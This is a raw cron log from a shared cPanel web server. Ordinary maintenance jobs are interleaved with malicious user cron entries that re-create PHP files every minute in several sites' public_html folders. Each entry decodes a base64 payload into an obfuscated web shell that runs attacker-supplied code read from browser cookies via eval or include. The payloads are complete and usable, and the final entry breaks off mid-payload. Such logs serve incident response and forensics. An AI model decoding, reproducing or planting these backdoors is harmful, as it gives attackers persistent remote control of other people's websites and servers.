Mar  1 16:40:01 medusa CROND[24203]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:40:01 medusa CROND[24165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:40:01 medusa CROND[24180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 16:40:01 medusa CROND[24182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:40:01 medusa CROND[24177]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 16:41:01 medusa CROND[13395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:41:01 medusa CROND[13408]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 16:41:01 medusa CROND[13411]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:41:01 medusa CROND[13412]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:41:01 medusa CROND[13413]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:41:01 medusa CROND[13414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:41:01 medusa CROND[13415]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:41:01 medusa CROND[13419]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:41:01 medusa CROND[13422]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 16:41:01 medusa CROND[13424]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:41:01 medusa CROND[13426]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:41:01 medusa CROND[13427]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:41:01 medusa CROND[13445]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:41:01 medusa CROND[13446]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 16:42:01 medusa CROND[3334]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:42:01 medusa CROND[3336]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:42:01 medusa CROND[3337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:42:01 medusa CROND[3338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:42:01 medusa CROND[3339]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:42:01 medusa CROND[3340]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:42:01 medusa CROND[3345]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 16:42:01 medusa CROND[3351]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:42:01 medusa CROND[3352]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:42:01 medusa CROND[3353]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:42:01 medusa CROND[3354]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:42:01 medusa CROND[3355]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:42:01 medusa CROND[3356]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:43:01 medusa CROND[25762]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFn